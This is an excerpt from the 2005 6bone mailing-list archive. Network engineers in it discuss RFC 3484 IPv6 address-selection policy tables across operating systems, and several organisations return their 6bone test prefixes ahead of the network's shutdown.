From mohacsi@niif.hu Mon Jun 13 05:19:29 2005
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On Mon, 13 Jun 2005, Iljitsch van Beijnum wrote:

> On 13-jun-2005, at 11:09, Tim Chown wrote:
>
>> With IPv6, you can run ULAs and globals side by side, if you wish, though
>> this hasn't exactly been widely tested as yet, as far as I'm aware.
>
> The trouble is that there is no clear way to force the use of internal 
> addresses for internal stuff and external addresses for external stuff.


This is easier, if you setup RFC3484 style address selection. You give 
higher priority to your local addresses.

Regards,

Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98


From frlinux@frlinux.net Wed Jun 15 05:47:34 2005
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Subject: Re: [6bone] cisco ipv6 slow perfs
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On Mon, May 30, 2005 8:37 am, Christian Schild said:
> Actually, my IPv6 traceroute is faster than IPv4.

Hello,

Just to close on the subject, i applied today a new IOS image and it fixed
the ipv6 issues.

Faulty image : 12.3(12b)
New image : 12.3(15)

This is again on a 7204VXR box.

Thanks to all the people who helped me out on this,
Steph
-- 
Mail sent under Debian GNU/Linux
http://frlinux.net - Site d'aide a Linux en Francais
http://frlinux.net/files/frlinux_public_key.asc


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On Mon, Jun 13, 2005 at 02:18:27PM +0200, Mohacsi Janos wrote:
> 
> 
> 
> 
> On Mon, 13 Jun 2005, Iljitsch van Beijnum wrote:
> 
> >On 13-jun-2005, at 11:09, Tim Chown wrote:
> >
> >>With IPv6, you can run ULAs and globals side by side, if you wish, though
> >>this hasn't exactly been widely tested as yet, as far as I'm aware.
> >
> >The trouble is that there is no clear way to force the use of internal 
> >addresses for internal stuff and external addresses for external stuff.
> 
> 
> This is easier, if you setup RFC3484 style address selection. You give 
> higher priority to your local addresses.

I also think that for multicast you would by default end up using
longest matching prefix (rule 8 in 3484) which leads to ULA being
preferred to other global addresses. And due to RPF the multicast
packets would never leave the site.

One should probably also define labels so that ULA is used as
source for multicast scope <= 5 or <= 8 while global for others. Or
simply never use ULA as source for multicast.

I'm wondering a bit how many systems support full 3484 allowing you
to modify the policy table. Another issue is how a manager can
configure this on hosts. One option is DHCP as proposed in
draft-fujisaki-dhc-addr-select-opt-00.txt

Stig

> 
> Regards,
> 
> Janos Mohacsi
> Network Engineer, Research Associate
> NIIF/HUNGARNET, HUNGARY
> Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From mohacsi@niif.hu Wed Jun 22 05:52:54 2005
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On Wed, 22 Jun 2005, Stig Venaas wrote:

> On Mon, Jun 13, 2005 at 02:18:27PM +0200, Mohacsi Janos wrote:
>>
>>
>>
>>
>> On Mon, 13 Jun 2005, Iljitsch van Beijnum wrote:
>>
>>> On 13-jun-2005, at 11:09, Tim Chown wrote:
>>>
>>>> With IPv6, you can run ULAs and globals side by side, if you wish, though
>>>> this hasn't exactly been widely tested as yet, as far as I'm aware.
>>>
>>> The trouble is that there is no clear way to force the use of internal
>>> addresses for internal stuff and external addresses for external stuff.
>>
>>
>> This is easier, if you setup RFC3484 style address selection. You give
>> higher priority to your local addresses.
>
> I also think that for multicast you would by default end up using
> longest matching prefix (rule 8 in 3484) which leads to ULA being
> preferred to other global addresses. And due to RPF the multicast
> packets would never leave the site.
>

Ooops this can be a problem.

> One should probably also define labels so that ULA is used as
> source for multicast scope <= 5 or <= 8 while global for others. Or
> simply never use ULA as source for multicast.

The 5 or 8 seems to be artifical... More general solutions would be 
nice...

>
> I'm wondering a bit how many systems support full 3484 allowing you
> to modify the policy table. Another issue is how a manager can
> configure this on hosts. One option is DHCP as proposed in
> draft-fujisaki-dhc-addr-select-opt-00.txt

I think pretty large number of hosts potentially can support RFC3484.
Windows XP/2003 fully supports it. All *BSD systems also fully supports 
it. There is some kind of preliminary support in Linux....

I was thinking of having something similar - I will look at the 
draft of fujisaki.

Regards,
 	Janos Mohacsi


From iljitsch@muada.com Thu Jun 23 05:44:58 2005
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From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: [6bone] Network Address translation question
Date: Thu, 23 Jun 2005 14:43:57 +0200
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On 22-jun-2005, at 14:51, Mohacsi Janos wrote:

>>>> The trouble is that there is no clear way to force the use of  
>>>> internal
>>>> addresses for internal stuff and external addresses for external  
>>>> stuff.

>>> This is easier, if you setup RFC3484 style address selection. You  
>>> give
>>> higher priority to your local addresses.

I'm not sure how you envision this. My understanding was that the  
address with the longest matching prefix would be used. So when I  
connect to my server which has both a 2001:: and a 3ffe:: address  
(sequoia.muada.com for those of you who want to try) my system at  
home with a 2001:: address would use the 2001:: address. However,  
that's not what happens.

MacOS 10.4:

% telnet sequoia
Trying 3ffe:2500:310:2::1...

FreeBSD 4.9:

# telnet sequoia
Trying 3ffe:2500:310:2::1...

Red Hat 9 Linux:

# telnet sequoia
Trying 3ffe:2500:310:2::1...

(Well, acutally they pick an address non-deterministically.)

Windows XP was the only one that used the 2001:: address each time.  
(But this could be because of DNS caching, no way to tell except for  
rebooting more times than I care to do right now.)

But that's not the real problem. The real problem is that always  
choosing the same address is a bad thing: that way, applications that  
don't cycle the address list themselves can easily get stuck retrying  
a non-working address and ignoring a working alternative.

(And this would also require two-faced DNS all over the place as  
you'd try to connect to other people's unique site locals otherwise.)

The bottom line is that there is no way to do the right thing with  
only a priori information. You need at least _some_ measurement info  
to make reasonable decisions.

> I think pretty large number of hosts potentially can support RFC3484.
> Windows XP/2003 fully supports it. All *BSD systems also fully  
> supports it.

So how do I install a policy?

From Stig.Venaas@uninett.no Thu Jun 23 06:42:57 2005
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On Thu, Jun 23, 2005 at 02:43:57PM +0200, Iljitsch van Beijnum wrote:
> On 22-jun-2005, at 14:51, Mohacsi Janos wrote:
> 
> >>>>The trouble is that there is no clear way to force the use of  
> >>>>internal
> >>>>addresses for internal stuff and external addresses for external  
> >>>>stuff.
> 
> >>>This is easier, if you setup RFC3484 style address selection. You  
> >>>give
> >>>higher priority to your local addresses.
> 
> I'm not sure how you envision this. My understanding was that the  
> address with the longest matching prefix would be used. So when I  

Yes, as I understand dest. addr. sel. rule 9 it should have
prefered 2001.

More below

> connect to my server which has both a 2001:: and a 3ffe:: address  
> (sequoia.muada.com for those of you who want to try) my system at  
> home with a 2001:: address would use the 2001:: address. However,  
> that's not what happens.
> 
> MacOS 10.4:
> 
> % telnet sequoia
> Trying 3ffe:2500:310:2::1...
> 
> FreeBSD 4.9:
> 
> # telnet sequoia
> Trying 3ffe:2500:310:2::1...
> 
> Red Hat 9 Linux:
> 
> # telnet sequoia
> Trying 3ffe:2500:310:2::1...
> 
> (Well, acutally they pick an address non-deterministically.)
> 
> Windows XP was the only one that used the 2001:: address each time.  
> (But this could be because of DNS caching, no way to tell except for  
> rebooting more times than I care to do right now.)

I think XP might be the only with the complete implementation of
3484. I've heard that others have source address selection according
to 3484, but not so sure they have implemented destination address
selection which of course requires changes in getaddrinfo()
implementation.

> But that's not the real problem. The real problem is that always  
> choosing the same address is a bad thing: that way, applications that  
> don't cycle the address list themselves can easily get stuck retrying  
> a non-working address and ignoring a working alternative.

Well, I would say it's another reason why applications should, or
even must, cycle addresses.

> (And this would also require two-faced DNS all over the place as  
> you'd try to connect to other people's unique site locals otherwise.)

But you can make it work by installing some policy. I believe 3484
may need to be updated with a different standard policy to cope with
ULAs properly. This is one example. The other I mentioned is with
multicast.

> The bottom line is that there is no way to do the right thing with  
> only a priori information. You need at least _some_ measurement info  
> to make reasonable decisions.
> 
> >I think pretty large number of hosts potentially can support RFC3484.
> >Windows XP/2003 fully supports it. All *BSD systems also fully  
> >supports it.
> 
> So how do I install a policy?

No idea. Don't know if any implementations allow it, and how is
implementation dependent. Would be quite interesting to know how
much of 3484 is implemented in different systems, and also how
to change policy if possible.

The most likely to have a way of installing policy is perhaps XP.

Stig

> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From mohacsi@niif.hu Thu Jun 23 07:16:03 2005
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Hi,



On Thu, 23 Jun 2005, Iljitsch van Beijnum wrote:

> On 22-jun-2005, at 14:51, Mohacsi Janos wrote:
>
>>>>> The trouble is that there is no clear way to force the use of internal
>>>>> addresses for internal stuff and external addresses for external stuff.
>
>>>> This is easier, if you setup RFC3484 style address selection. You 
give
>>>> higher priority to your local addresses.
>
> I'm not sure how you envision this. My understanding was that the address 
> with the longest matching prefix would be used. So when I connect to my 
> server which has both a 2001:: and a 3ffe:: address (sequoia.muada.com for 
> those of you who want to try) my system at home with a 2001:: address would 
> use the 2001:: address. However, that's not what happens.
>
> MacOS 10.4:
>
> % telnet sequoia
> Trying 3ffe:2500:310:2::1...
>
> FreeBSD 4.9:
>
> # telnet sequoia
> Trying 3ffe:2500:310:2::1...
>
> Red Hat 9 Linux:
>
> # telnet sequoia
> Trying 3ffe:2500:310:2::1...
>
> (Well, acutally they pick an address non-deterministically.)
>
> Windows XP was the only one that used the 2001:: address each time. (But this 
> could be because of DNS caching, no way to tell except for rebooting more 
> times than I care to do right now.)
>
> But that's not the real problem. The real problem is that always choosing the 
> same address is a bad thing: that way, applications that don't cycle the 
> address list themselves can easily get stuck retrying a non-working address 
> and ignoring a working alternative.
>
> (And this would also require two-faced DNS all over the place as you'd try to 
> connect to other people's unique site locals otherwise.)
>
> The bottom line is that there is no way to do the right thing with only a 
> priori information. You need at least _some_ measurement info to make 
> reasonable decisions.

You are mixing things. The DNS is remaining in place. If a host has 
more then one DNS entry the DNS query will return all of them. RFC 3484 
just do some kind of sorting on the entries. You can select locally your 
preferences.

Here is sample transcript what you can do with RFC3484:

1. Setting up IPv6 preference:

mohacsi@scone> sudo ./prefer6
Prefix                          Prec Label      Use
::1/128                           50     0        0
::/0                              40     1        0
2002::/16                         30     2        0
::/96                             20     3        0
::ffff:0.0.0.0/96                 10     4        0
mohacsi@scone> telnet sequoia.muada.com 
Trying 2001:1af8:2:5::2...
^C


2. Setting up IPv4 preference:

mohacsi@scone> sudo ./prefer4 
Prefix                          Prec Label      Use
::ffff:0.0.0.0/96                 50     0        0
::1/128                           40     1        0
::/0                              30     2        0
2002::/16                         20     3        0
::/96                             10     4        0
mohacsi@scone>telnet sequoia.muada.com 
Trying 83.149.65.1...
telnet: connect to address 83.149.65.1: Connection refused
Trying 2001:1af8:2:5::2...
^C

IPv4 address tried first (probably refused by firewall, switching right to 
IPv6....

3. Prefer 3ffe:: addresses

mohacsi@scone> sudo ./prefer63 
Prefix                          Prec Label      Use
::1/128                           50     0        0
3ffe::/16                         45     5        0
::/0                              40     1        0
2002::/16                         30     2        0
::/96                             20     3        0
::ffff:0.0.0.0/96                 10     4        0
mohacsi@scone> telnet sequoia.muada.com 
Trying 3ffe:2500:310:2::1...
^C

3ffe:2500:310:2::1 tried first

4. Prefer 2001:: style addresses


mohacsi@scone> sudo ./prefer62 
Prefix                          Prec Label      Use
::1/128                           50     0        0
2001::/16                         45     5        0
::/0                              40     1        0
2002::/16                         30     2        0
::/96                             20     3        0
::ffff:0.0.0.0/96                 10     4        0
mohacsi@scone> telnet sequoia.muada.com 
Trying 2001:1af8:2:5::2...
^C 
mohacsi@scone>

So you RFC3484 is very powerful You can prefer IPv4 address or prefer 
2001:: address if you want. You can prefer ULA address if you want. But to 
be consistent in a site, you should implement a site wide policy some 
other methods e.g. DHCPv6.




>
>> I think pretty large number of hosts potentially can support RFC3484.
>> Windows XP/2003 fully supports it. All *BSD systems also fully supports it.
>
> So how do I install a policy?

Sample scripts I used on FreeBSD attached (You need FreeBSD 5.2 or 
later )

For Windows XP/2003 the syntax are very similar to ip6addrctl.

Adding policy rule:

FreeBSD:
ip6addrctl add <prefix> <precedence> <label>

Windows XP
netsh interface ipv6 set prefixpolicy  <prefix> <precedence> <label>

Showing policy rules:
FreeBSD:
ip6addrctl show
Windows XP
netsh interface ipv6 show prefixpolicy


Clearing the policy table

FreeBSD:
ip6addrctl flush
Windows XP:
netsh interface ipv6 delete prefixpolicy

Regards,
 	Janos Mohacsi



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Subject: Re: [6bone] Network Address translation question
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On Thu, Jun 23, 2005 at 03:42:51PM +0200, Stig Venaas wrote:
> No idea. Don't know if any implementations allow it, and how is
> implementation dependent. Would be quite interesting to know how
> much of 3484 is implemented in different systems, and also how
> to change policy if possible.
> 
> The most likely to have a way of installing policy is perhaps XP.

I got the information below from Alan Ford <ajf101@ecs.soton.ac.uk>
who is not on this list but. If you can help complete the survey,
please mail him (or me and I will feed it back to him).

Stig

Operating systems supporting Address Selection Policy Tables, and how 
to do it:

FreeBSD 5.x: ip6addrctl(8), from KAME.

    ip6addrctl show
    ip6addrctl add PREFIX PRECEDENCE LABEL
    ip6addrctl delete PREFIX

Note: I can't get this to work, just trying to show the current table
bales out with "sysctl(IPV6CTL_ADDRCTLPOLICY): Bad address" to me.

Note: This is NOT included in FreeBSD 4.x, NOR in OS X 10.4.


Solaris (10, maybe earlier?): ipaddrsel

  Make a config file of:

    PREFIX	PRECEDENCE	LABEL
 eg ::1/128		50		Loopback

  And run:

    ipaddrsel -f /etc/inet/ipaddrsel.conf

  To show:
    ipaddrsel

http://docs.sun.com/app/docs/doc/816-4554/6maoq01pe?a=view


Windows XP:

    C:\WINDOWS> netsh interface ipv6
    > show prefixpolicy
    > add prefixpolicy PREFIX PRECEDENCE LABEL
    > delete prefixpolicy PREFIX


Linux:

    As far as I know, nothing is implemented by standard.

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On Thu, Jun 23, 2005 at 04:15:35PM +0200, Mohacsi Janos wrote:
> 
> 1. Setting up IPv6 preference:
> 
> mohacsi@scone> sudo ./prefer6
> Prefix                          Prec Label      Use
> ::1/128                           50     0        0
> ::/0                              40     1        0
> 2002::/16                         30     2        0
> ::/96                             20     3        0
> ::ffff:0.0.0.0/96                 10     4        0

There is also a proposal to allow DHCPv6 to do this, at draft stage.

Of course DHCPv6 implementations are very young, but it seems a nice
concept.

Tim

From Stig.Venaas@uninett.no Thu Jun 23 09:14:59 2005
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Subject: Re: [6bone] Network Address translation question
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On Thu, Jun 23, 2005 at 04:31:12PM +0100, Tim Chown wrote:
> On Thu, Jun 23, 2005 at 04:15:35PM +0200, Mohacsi Janos wrote:
> > 
> > 1. Setting up IPv6 preference:
> > 
> > mohacsi@scone> sudo ./prefer6
> > Prefix                          Prec Label      Use
> > ::1/128                           50     0        0
> > ::/0                              40     1        0
> > 2002::/16                         30     2        0
> > ::/96                             20     3        0
> > ::ffff:0.0.0.0/96                 10     4        0
> 
> There is also a proposal to allow DHCPv6 to do this, at draft stage.
> 
> Of course DHCPv6 implementations are very young, but it seems a nice
> concept.

There should perhaps be a standard API so that DHC clients or other
software can be written in a portable way to manipulare or display
such policies on different platforms?

Of course DHC client might just run some script that again uses whatever
commands is available from the vendor on that platform.

Stig

From mohacsi@niif.hu Thu Jun 23 10:29:58 2005
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On Thu, 23 Jun 2005, Stig Venaas wrote:

> On Thu, Jun 23, 2005 at 04:31:12PM +0100, Tim Chown wrote:
>> On Thu, Jun 23, 2005 at 04:15:35PM +0200, Mohacsi Janos wrote:
>>>
>>> 1. Setting up IPv6 preference:
>>>
>>> mohacsi@scone> sudo ./prefer6
>>> Prefix                          Prec Label      Use
>>> ::1/128                           50     0        0
>>> ::/0                              40     1        0
>>> 2002::/16                         30     2        0
>>> ::/96                             20     3        0
>>> ::ffff:0.0.0.0/96                 10     4        0
>>
>> There is also a proposal to allow DHCPv6 to do this, at draft stage.
>>
>> Of course DHCPv6 implementations are very young, but it seems a nice
>> concept.
>
> There should perhaps be a standard API so that DHC clients or other
> software can be written in a portable way to manipulare or display
> such policies on different platforms?
>
> Of course DHC client might just run some script that again uses whatever
> commands is available from the vendor on that platform.
>

I think writing software that is maipulating policy in a portable way is 
rather difficult. I suspect easiest method could be to write script to 
each platform that support RFC 3484, which hides differences of platform.
The ISC IPv4 dhcp client is doing this way already...

Regards,


Janos Mohacsi
Network Engineer, Research Associate
NIIF/HUNGARNET, HUNGARY
Key 00F9AF98: 8645 1312 D249 471B DBAE  21A2 9F52 0D1F 00F9 AF98



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On 23 Jun 2005, at 15:50, Stig Venaas wrote:

> On Thu, Jun 23, 2005 at 03:42:51PM +0200, Stig Venaas wrote:
>
>> No idea. Don't know if any implementations allow it, and how is
>> implementation dependent. Would be quite interesting to know how
>> much of 3484 is implemented in different systems, and also how
>> to change policy if possible.
>>
>> The most likely to have a way of installing policy is perhaps XP.
>>
>
> I got the information below from Alan Ford <ajf101@ecs.soton.ac.uk>
> who is not on this list but. If you can help complete the survey,
> please mail him (or me and I will feed it back to him).


> FreeBSD 5.x: ip6addrctl(8), from KAME.
>
> Note: I can't get this to work, just trying to show the current table
> bales out with "sysctl(IPV6CTL_ADDRCTLPOLICY): Bad address" to me.

We're suspecting that the 5.2-RC1 box we have is a little  
implementation-shy. 5.4 is installing as I type and will be used for  
a couple of ULA-related policy tests.

> Linux:
>
>     As far as I know, nothing is implemented by standard.

There's reference to a decision by folk at USAGI to go to source  
address selection base on policy routing rather than 3484-style  
labels. I've asked for clarification.
( http://www.linux-ipv6.org/ml/usagi-users/msg02929.html )

On the netdev list, there was some discussion - involving Pekka no  
less - a couple of years back regarding kernel implementation of  
(s,d) sorting.
( http://oss.sgi.com/projects/netdev/archive/2003-11/msg00340.html )

... and following that thread through reveals that Ulrich Drepper at  
least instigated if not wrote a pass at RFC3484 sorting in glibc,  
with the latest glibc as shipped with FC4 having the following natty  
comment in ( glibc-20050524T1606/sysdeps/posix/getaddrinfo.c ):

/* XXX The system administrator should be able to install other
    tables.  We need to make this configurable.  The problem is that
    the kernel is also involved since it needs the same table. */

The source acknowledges the inability to apply rules 3 and 4 due to  
only the kernel having the necessary information, and rule 7 due to a  
lack of a user-space way of determining whether an address is  
tunnelled or native.

It looks like all that is missing is the ability to change the  
precedence ordering in glibc to get a passable implementation for our  
needs in linux.


(Perhaps that was a bit of an aside - apologies if so)

Mark/



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> No idea. Don't know if any implementations allow it, and how is
> implementation dependent. Would be quite interesting to know how
> much of 3484 is implemented in different systems, and also how
> to change policy if possible.

Linux (as of 2.6.11) has a rather dumb source address selection policy
in the mainline kernel.  From my reading of the code it selects the
first address on an interface that isn't tentative and has identical
scope.  It also prefers non deprecated, non temporary (or temporary
addresses if configured to do so) addresses where possible.

This however means it always uses the address that was added last, so if
you have a slow tunnel to somewhere that takes longer to setup, that
will be the source address it will prefer over any other one, much to my
dismay.

The Linux community seem to have indicated that they want preferences
handled by having a preferred source address used per route.  I was
looking at the source to Linux and the code appears to be there to use a
source address if one is specified in the routing table, however the
code to insert one somewhere seems broken (either in user space or
kernel space, I didn't figure it out).  If there is no source address
specified in the routing table it falls back to the algorithm uses above.

The code is in net/ipv6/addrconf.c in the function ipv6.*_get_saddr.*
functions.

From tjc@ecs.soton.ac.uk Fri Jun 24 02:58:01 2005
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On Fri, Jun 24, 2005 at 09:12:03AM +1200, Perry Lorier wrote:
> 
> > No idea. Don't know if any implementations allow it, and how is
> > implementation dependent. Would be quite interesting to know how
> > much of 3484 is implemented in different systems, and also how
> > to change policy if possible.
> 
> Linux (as of 2.6.11) has a rather dumb source address selection policy
> in the mainline kernel.  From my reading of the code it selects the
> first address on an interface that isn't tentative and has identical
> scope.  It also prefers non deprecated, non temporary (or temporary
> addresses if configured to do so) addresses where possible.
> 
> This however means it always uses the address that was added last, so if
> you have a slow tunnel to somewhere that takes longer to setup, that
> will be the source address it will prefer over any other one, much to my
> dismay.
> 
> The Linux community seem to have indicated that they want preferences
> handled by having a preferred source address used per route.  I was
> looking at the source to Linux and the code appears to be there to use a
> source address if one is specified in the routing table, however the
> code to insert one somewhere seems broken (either in user space or
> kernel space, I didn't figure it out).  If there is no source address
> specified in the routing table it falls back to the algorithm uses above.
> 
> The code is in net/ipv6/addrconf.c in the function ipv6.*_get_saddr.*
> functions.

Note it's not just source address selection; RFC3484 is address selection
for source and destination.   So really it's more a case of a preferred
source address per destination address, then per route.   I guess at present
very few systems are multiaddressed for IPv6, so it's really 'just' a 
matter of picking the right source to use for a destination, but Iljitsch's
example and Mark's survey shows the implementations are lacking.

Whether there are improvements to make on 3484 based on experience is
another question (like the ULA+global causing problems with multicast).

-- 
Tim/::1



From dr@cluenet.de Mon Jun 27 09:37:10 2005
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From: Daniel Roesen <dr@cluenet.de>
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Hi,

Trumpet's 3ffe:8000::/28 isn't announced now for 2.5 months, and no
records do exist in the 6BONE whois database. Was it returned or
reclaimed? http://www.6bone.net/6bone_pTLA_list.html says no.


Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From cramer@dolphins.ch Tue Jun 28 05:35:18 2005
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Dear Colegues

We like hereby to return our 6 BONE adress space 3ffe:4006::/32

Best regards

   Matthias Cramer

--
      _;\_    Matthias Cramer / mc322-ripe   System & Network Manager
     /_.  \   Dolphins Network Systems AG    Phone +41 43 500 1111
    |/ -\ .)  Josefstrasse 225               Fax   +41 44 271 3535
  -'^`-   \;  CH-8005 Zürich                 http://www.dolphins.ch/
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From mele@cartel-securite.fr Tue Jun 28 10:53:16 2005
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Date: Tue, 28 Jun 2005 19:52:11 +0200
From: Laurent Mele <mele@cartel-securite.fr>
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Subject: [6bone] Retun of 3ffe:4017::/32 (CARTEL-BLK)
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Hi Folks,

Infoclip (Ex Cartel-Securite) would like to return is ptla to 6bone as
we had finished our work with the testbed. We are now running on a
Ripe's prod prefix.

We would like to thanks all the 6bone for it's help when testing ipv6 on
our platform. Specials thanx goes to Bob for helping us to have a ptla
prefix,
and to Daniel for help with the returning.

All records had been removed from whois.
bgp4+ announcements had been stopped for a while.

Regards,

--
Laurent Mele

From ceyong@yahoo.com Sat Jul  2 00:50:26 2005
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HI,I had patched my linux router with USAGI patch,I run ssmpingd at my
linux router,its seem PIM is running i try to ssmping from HA,CH, AP1 and
AP2, only HA got multicast reply. When i check with route -A inet6, i saw
a route to HA(interface),i did make 4 static-multicast route point to
HA,CH,AP1 and AP2 but only HA receiver multicast reply packet.

Later when i try to set 1 route point (only 1 with ip route add
ff6d:1:1:1::2222 dev eth2) to AP1,AP1 receive multicast reply from router.
its mean my test-bed is multicast support,am i right? it is because
multicast routing problem. This also happen when i change my router OS to
freeBSD 4.10 with pim6sd running

Anyone know this?

                                       CH
                                        |
HA----------------------Foreign Router------------------AP1
                                        |
MH                                    AP2

My HA,CH and MH=kernel 2.4.26 with MIPL 1.1
My Both AP are kernel 2.4.26 together with HOSTAP

Ô¸ÄúÓÀÔ¶ÐÒ¸££¬¿ìÀֺͰ²Ïê Happy & Healthy Always ! ^_^ !
¸öÈ˺ͷðѧÍøÒ³ Homepage:ceyong.alturl.com
ICQ:16994867/ Yahoo Messenger ID:ceyong 
MSN Messenger:ceyong at hotmail.com


		
__________________________________ 
Yahoo! Mail 
Stay connected, organized, and protected. Take the tour: 
http://tour.mail.yahoo.com/mailtour.html 


From blahdy@mx01.bos.ma.towardex.com Sat Jul  2 13:19:41 2005
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Hello,

The OCCAID Project (6bone site id is TOWARDEX) is now returning its 6bone pTLA
prefix, 3ffe:401d::/32, as we have completed transition of the network to ARIN
PI address space (2001:4830::/32).

We'd like to give our special thanks to Bob Fink and rest of the team for the 
privilege of participating and educating ourselves through the evolution of
IPv6 technologies.

I have removed the registry objects for the pTLA and the site, and the BGP
announcement has been shut down.

PS:  Is anyone still processing the return requests BTW?  I noticed the last
few returns haven't been attended to...

Thanks,
James

-- 
James Jun
Infrastructure and Technology Services
TowardEX Technologies
Office +1-617-459-4051 x179 | Mobile +1-978-394-2867
james@towardex.com | www.towardex.com

From bobfink@gmail.com Wed Jul  6 08:08:05 2005
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James,

I'll take care of it. Been on a long vacation.


Thanks,

Bob


===
On 7/2/05, James <haesu@towardex.com> wrote:
> Hello,
> 
> The OCCAID Project (6bone site id is TOWARDEX) is now returning its 6bone pTLA
> prefix, 3ffe:401d::/32, as we have completed transition of the network to ARIN
> PI address space (2001:4830::/32).
> 
> We'd like to give our special thanks to Bob Fink and rest of the team for the
> privilege of participating and educating ourselves through the evolution of
> IPv6 technologies.
> 
> I have removed the registry objects for the pTLA and the site, and the BGP
> announcement has been shut down.
> 
> PS:  Is anyone still processing the return requests BTW?  I noticed the last
> few returns haven't been attended to...
> 
> Thanks,
> James
> 
> --
> James Jun
> Infrastructure and Technology Services
> TowardEX Technologies
> Office +1-617-459-4051 x179 | Mobile +1-978-394-2867
> james@towardex.com | www.towardex.com
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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unsubscribe

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Ruben Dario Noguera
tel 052 8236996
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Ruben Dario Noguera
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From nissanka@lakmihira.com Fri Aug  5 08:20:44 2005
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From dr@cluenet.de Tue Sep 20 18:47:28 2005
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Hi,

I'm getting feedback from quite some folks who try to subscribe and
post to the mailing list that they are unable to do so. I hear
subscription requests not being ACKed or without reply and postings
being held for moderation without ACKing.

Is anyone still looking after list administration?

Best regards,
Daniel

-- 
CLUE-RIPE -- Jabber: dr@cluenet.de -- dr@IRCnet -- PGP: 0xA85C8AA0

From Marc.Williams@neustar.biz Mon Oct 10 11:26:20 2005
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Neustar hereby returns 3FFE:B80:FBE::/48, thank you.

% RIPEdb(3.0.0b2) with ISI RPSL extensions

ipv6-site:    NEUSTAR
origin:       AS7786
descr:        Neustar, Inc.
prefix:       3FFE:B80:FBE::/48
contact:      MW10-6BONE
mnt-by:       MW10-6BONE
changed:      marc.williams@neustar.com 20020903
source:       6BONE

person:       Marc Williams
address:      Loudon Tech Center; 45980 Center Oak Plaza, Building VIII;
Sterling VA 20166
phone:        +15714345626
fax-no:       +15714335401
e-mail:       marc.williams@neustar.com
nic-hdl:      MW10-6BONE
notify:       marc.williams@neustar.com
changed:      marc.williams@neustar.com 20020710
source:       6BONE

mntner:       MW10-6BONE
descr:        Neustar, Inc.
admin-c:      MW10-6BONE
upd-to:       marc.williams@neustar.com
auth:         CRYPT-PW *
mnt-by:       MW10-6BONE
changed:      marc.williams@neustar.com 20020902
source:       6BONE



Marc Williams
Network Engineer
Neustar, Inc.

571-434-5626 (desk)
571-283-1587 (mobile) 

From jeroen@unfix.org Mon Oct 10 12:37:19 2005
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On Mon, 2005-10-10 at 14:24 -0400, Williams, Marc wrote:
> Neustar hereby returns 3FFE:B80:FBE::/48, thank you.

How cool it might be and a good gesture, as the 6bone never passed
out /48's, as can be seen on http://www.6bone.net/6bone_pTLA_list.html
you can't unfortunately return it to 6bone. Your /48 comes from the /24
from VIAGENIE, to which you can return it as they 'own' the block.
I've CC'd Florent Parent who you can return the block to.

Btw, for people who do have TLA's assigned and are using them, you have
about 8 months left to stop using them completely...

Folks still using 6bone space can be found here:
http://www.sixxs.net/tools/grh/dfp/6bone/

Todays score:
8<-------------------
The database currently holds 144 IPv6 DFP's.
Of which 30 (20.83%) are returned to the pool, 28 (19.44%) IPv6 DFP's
didn't have a routing entry.
Thus 86 (59.72%) networks are currently announced.
-------------------->8

Bob, can I mark those 'unrouted' entries as being returned? Although
these folks never let something hear from them that they actually did?
Most of them have not been announced for the last couple of months...

Folks who still are announcing these blocks are urged to return them as
soon as possible or at least set a dead line for their users around may.
Notify them beforehand, you know that 6/6/6 is the end of 6bone and you
have ample enough time to arrange alternate setups for your users.

Still 8 months too go....

Greets,
 Jeroen

[PS: TLA holders agreed that they read this list, so they are already
aware of this for a couple of months now, thus don't claim you didn't
know... ]


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From horape@rocinante.compendium.com.ar Mon Oct 10 13:26:19 2005
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> Bob, can I mark those 'unrouted' entries as being returned? Although
> these folks never let something hear from them that they actually did?
> Most of them have not been announced for the last couple of months...

Please consider COMPENDIUM-AR (3FFE:8260::/28) as returned.

Thanks,
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu

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On Mon, 2005-10-10 at 17:25 -0300, Horacio J. Pe=F1a wrote:
> > Bob, can I mark those 'unrouted' entries as being returned? Although
> > these folks never let something hear from them that they actually did?
> > Most of them have not been announced for the last couple of months...
>=20
> Please consider COMPENDIUM-AR (3FFE:8260::/28) as returned.

Marked as returned in the GRH list, was last seen on 2003-06-09 11:14:30

Greets,
 Jeroen


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On Oct 10, 2005, at 15:35, Jeroen Massar wrote:
> Btw, for people who do have TLA's assigned and are using them, you  
> have
> about 8 months left to stop using them completely...

And at the rate my employer's dealing with the legalese for a "real"  
allocation, that might almost be enough...

> Folks still using 6bone space can be found here:
> http://www.sixxs.net/tools/grh/dfp/6bone/

Is anyone else besides MIT still trying to use prefixes from the now- 
defunct MERIT block 3ffe:1c00::/24?  We've got route advertisements  
for 3ffe:1ce1::/16 going out through one other tunnel, but they don't  
seem to be getting very far. :-(

I wonder if it's /48 being too small, or not coming from the right AS  
number, or sites just not accepting our advertisements, or what...

Ken

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From kloch@hotnic.net Mon Oct 10 17:30:23 2005
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Subject: Re: [6bone] Neustar returns 3FFE:B80:FBE::/48
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Ken Raeburn wrote:

>>Btw, for people who do have TLA's assigned and are using them, you  
>>have
>>about 8 months left to stop using them completely...
> 
> And at the rate my employer's dealing with the legalese for a "real"  
> allocation, that might almost be enough...

Were you turned down by ARIN?  The requirements are very simple,
just know the correct answers to four trick questions:

 >  6.5.1.1. Initial allocation criteria
 >
 >  To qualify for an initial allocation of IPv6 address space, an
 >  organization must:
 >
 >    a) be an LIR;

If you are going to be assigning /48's to downstream customers you
will be an LIR.

 >    b) not be an end site;

If you are going to be aggregating traffic from downstream customers
(end sites) you will not be an end site.  Note that the definition
of end site in the policy does not mean "physical location" it's
a topological/business relationship definition.

 >
 >    c) plan to provide IPv6 connectivity to organizations to which it
 >       will assign /48s, by advertising that connectivity through its
 >       single aggregated address allocation; and

see b)

 >
